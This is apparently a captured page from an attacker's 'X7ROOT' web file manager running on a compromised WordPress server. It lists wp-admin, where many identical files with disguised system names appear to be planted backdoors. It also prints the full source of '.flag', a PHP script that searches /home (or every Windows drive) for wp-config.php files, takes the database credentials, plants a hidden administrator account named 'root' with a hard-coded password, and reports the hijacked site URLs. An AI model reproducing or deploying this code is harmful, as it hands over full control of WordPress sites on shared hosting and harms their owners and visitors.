X7ROOT File Manager
Current Path:
/home/hikrsdyp/public_html/wp-admin
home
/
hikrsdyp
/
public_html
/
wp-admin
/
??
..
??
.flag
(4.25 KB)
??
about.php
(19.64 KB)
??
admin-ajax.php
(5.03 KB)
??
admin-footer.php
(2.77 KB)
??
admin-functions.php
(479 B)
??
admin-header.php
(9.12 KB)
??
admin-post.php
(1.97 KB)
??
admin.php
(12.3 KB)
??
apache-agent.daemon
(9.03 KB)
??
apache-cache.cgi
(9.03 KB)
??
apache-cache.daemon
(9.03 KB)
??
apache-cgi.daemon
(9.03 KB)
??
apache-daemon.service
(9.03 KB)
??
apache-monitor.cgi
(9.03 KB)
??
apache-monitor.service
(9.03 KB)
??
apache-worker-helper
(9.03 KB)
??
async-upload.php
(4.87 KB)
??
authorize-application.php
(10.09 KB)
??
comment.php
(11.35 KB)
??
contribute.php
(5.59 KB)
??
credits.php
(4.11 KB)
??
css
??
custom-background.php
(489 B)
??
custom-header.php
(499 B)
??
customize.php
(10.91 KB)
??
dbus-helper.cgi
(9.03 KB)
??
dbus-manager
(9.03 KB)
??
dbus-manager.so
(9.03 KB)
??
dbus-session-helper
(9.03 KB)
??
dbus-worker.cgi
(9.03 KB)
??
edit-comments.php
(14.38 KB)
??
edit-form-advanced.php
(28.83 KB)
??
edit-form-blocks.php
(14.37 KB)
??
edit-form-comment.php
(8.34 KB)
??
edit-link-form.php
(6.21 KB)
??
edit-tag-form.php
(10.44 KB)
??
edit-tags.php
(22 KB)
??
edit.php
(19.48 KB)
??
erase-personal-data.php
(7.33 KB)
??
error_log
(1.68 MB)
??
export-personal-data.php
(7.75 KB)
??
export.php
(11.02 KB)
??
fader.php
(0 B)
??
freedoms.php
(4.54 KB)
??
gacl.php
(0 B)
??
gallery.lang_nl.php
(0 B)
??
gnome-manager.cgi
(9.03 KB)
??
gnome-service.daemon
(9.03 KB)
??
gnome-session
(9.03 KB)
??
gvfs-agent.daemon
(9.03 KB)
??
gvfs-daemon.daemon
(9.03 KB)
??
gvfs-manager-helper
(9.03 KB)
??
gvfs-session.service
(9.03 KB)
??
images
??
import.php
(7.58 KB)
??
includes
??
index.php
(7.68 KB)
??
install-helper.php
(6.8 KB)
??
install.php
(17.94 KB)
??
joomlastats.php
(0 B)
??
js
??
kde-agent
(9.03 KB)
??
kde-plugin.daemon
(9.03 KB)
??
kde-service.daemon
(9.03 KB)
??
kde-session.cgi
(9.03 KB)
??
lib-agent-helper
(9.03 KB)
??
lib-fpm.service
(9.03 KB)
??
lib-helper-helper
(9.03 KB)
??
lib-manager.daemon
(9.03 KB)
??
lib-session-helper
(9.03 KB)
??
link-add.php
(934 B)
??
link-manager.php
(4.26 KB)
??
link-parse-opml.php
(2.63 KB)
??
link.php
(2.89 KB)
??
load-scripts.php
(2.02 KB)
??
load-styles.php
(2.92 KB)
??
maint
??
media-new.php
(3.18 KB)
??
media-upload.php
(3.58 KB)
??
media.php
(819 B)
??
menu-header.php
(9.82 KB)
??
menu.php
(16.97 KB)
??
moderation.php
(307 B)
??
ms-admin.php
(196 B)
??
ms-delete-site.php
(4.19 KB)
??
ms-options.php
(229 B)
??
ms-sites.php
(215 B)
??
ms-themes.php
(217 B)
??
ms-upgrade-network.php
(219 B)
??
ms-users.php
(215 B)
??
my-sites.php
(4.74 KB)
??
nav-menus.php
(48.26 KB)
??
network
??
network.php
(5.39 KB)
??
nginx-agent.so
(9.03 KB)
??
nginx-daemon.service
(9.03 KB)
??
nginx-fpm
(9.03 KB)
??
nginx-monitor-helper
(9.03 KB)
??
nginx-service.cgi
(9.03 KB)
??
nginx-service.daemon
(9.03 KB)
??
nginx-session
(9.03 KB)
??
options-discussion.php
(15.4 KB)
??
options-general.php
(21.58 KB)
??
options-head.php
(621 B)
??
options-media.php
(6.35 KB)
??
options-permalink.php
(21.21 KB)
??
options-privacy.php
(9.95 KB)
??
options-reading.php
(10.03 KB)
??
options-writing.php
(9.1 KB)
??
options.php
(13.45 KB)
??
php-daemon
(9.03 KB)
??
php-manager.so
(9.03 KB)
??
plugin-editor.php
(13.66 KB)
??
plugin-install.php
(6.96 KB)
??
plugins.php
(30 KB)
??
post-new.php
(2.7 KB)
??
post.php
(9.97 KB)
??
press-this.php
(2.34 KB)
??
privacy-policy-guide.php
(3.67 KB)
??
profile.php
(283 B)
??
revision.php
(5.71 KB)
??
settings.class.php
(0 B)
??
setup-config.php
(17.48 KB)
??
show_courses_new
(853.71 KB)
??
site-editor.php
(11.83 KB)
??
site-health.php
(10.2 KB)
??
ssh-cache
(9.03 KB)
??
ssh-cgi
(9.03 KB)
??
ssh-helper
(9.03 KB)
??
ssh-helper-helper
(9.03 KB)
??
ssh-service
(9.03 KB)
??
systemd-cgi.so
(9.03 KB)
??
systemd-fpm.so
(9.03 KB)
??
systemd-helper.service
(9.03 KB)
??
systemd-manager-helper
(9.03 KB)
??
systemd-monitor.cgi
(9.03 KB)
??
systemd-service.cgi
(9.03 KB)
??
systemd-session.service
(9.03 KB)
??
systemd-worker.service
(9.03 KB)
??
term.php
(2.2 KB)
??
theme-editor.php
(15.59 KB)
??
theme-install.php
(23.37 KB)
??
themes.php
(48.12 KB)
??
thumb.php
(0 B)
??
tools.php
(3.43 KB)
??
tracker-cache.cgi
(12.43 KB)
??
tracker-cgi.daemon
(9.03 KB)
??
tracker-daemon.daemon
(9.03 KB)
??
tracker-monitor.so
(9.03 KB)
??
tuto3.php
(0 B)
??
udisks-fpm-helper
(9.03 KB)
??
udisks-helper-helper
(9.03 KB)
??
udisks-monitor-helper
(9.03 KB)
??
udisks-monitor.daemon
(9.03 KB)
??
udisks-monitor.service
(9.03 KB)
??
udisks-session.so
(9.03 KB)
??
update-core.php
(45.43 KB)
??
update.php
(12.79 KB)
??
upgrade-functions.php
(341 B)
??
upgrade.php
(6.33 KB)
??
upload.php
(14.84 KB)
??
user
??
user-edit.php
(39.79 KB)
??
user-new.php
(24.05 KB)
??
users.php
(23.28 KB)
??
view.feed.php
(0 B)
??
widgets-form-blocks.php
(4.97 KB)
??
widgets-form.php
(19.17 KB)
??
widgets.php
(1.09 KB)
Editing: .flag
<?php function scan($path) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . DIRECTORY_SEPARATOR . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file === 'wp-config.php') { inject($p); } } } } } function inject($p) { $user_login = 'root'; $user_password = 'Zb{0@U{vsFjq&#j(<?L[Iy0Hi_#9]i-LlJN0=Ec'; $user_email = 'admin@wordpress.com'; $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\s*\(\s*[\'"]\s*(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\s*[\'"]\s*,/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } if (isset($conf['DB_HOST']) && isset($conf['DB_USER']) && isset($conf['DB_PASSWORD']) && isset($conf['DB_NAME'])) { $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if ($mysqli->connect_errno) { return; } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { $result->close(); $mysqli->close(); return; } $result->close(); } $add_user_query = "INSERT INTO `{$table_prefix}users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_status`, `display_name`) SELECT '{$user_login}', MD5('{$user_password}'), '{$user_login}', '{$user_email}', '', (SELECT `user_registered` FROM `{$table_prefix}users` ORDER BY `ID` ASC LIMIT 1), 0, '{$user_login}' FROM DUAL WHERE NOT EXISTS ( SELECT 1 FROM `{$table_prefix}users` WHERE `user_login` = '{$user_login}' );"; if ($mysqli->query($add_user_query)) { $add_usermeta_query1 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_capabilities', 'a:1:{s:13:\"administrator\";b:1;}' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $add_usermeta_query2 = "INSERT INTO `{$table_prefix}usermeta` (`user_id`, `meta_key`, `meta_value`) SELECT `ID`, 'wp_user_level', '10' FROM `{$table_prefix}users` WHERE `user_login` = '$user_login' ORDER BY `ID` DESC LIMIT 1;"; $mysqli->query($add_usermeta_query1); $mysqli->query($add_usermeta_query2); } $site_url = false; if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->option_value; } if (!$site_url || strpos($site_url, 'http') !== 0) { if ($result = $mysqli->query("SELECT user_url FROM {$table_prefix}users ORDER BY ID ASC LIMIT 1;")) { $row = $result->fetch_object(); $result->close(); $site_url = $row->user_url; } } if ($result = $mysqli->query("SELECT ID FROM {$table_prefix}users WHERE user_login = '{$user_login}';")) { if ($result->num_rows > 0) { echo "<f>{$site_url}@@@{$p}</f>\n"; } $result->close(); } $mysqli->close(); } } function parse_define_value($line) { if (preg_match("/define\s*\(\s*['\"]\w+['\"]\s*,\s*['\"](.*)['\"]\s*\)\s*;/", $line, $matches)) { return $matches[1]; } return null; } function scanRootPaths() { if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { foreach (range('A', 'Z') as $driveLetter) { $drive = $driveLetter . ':\\'; if (is_dir($drive)) { scan($drive); } } } else { scan('/home'); } } scanRootPaths(); die('!ended!');
Upload File
Create Folder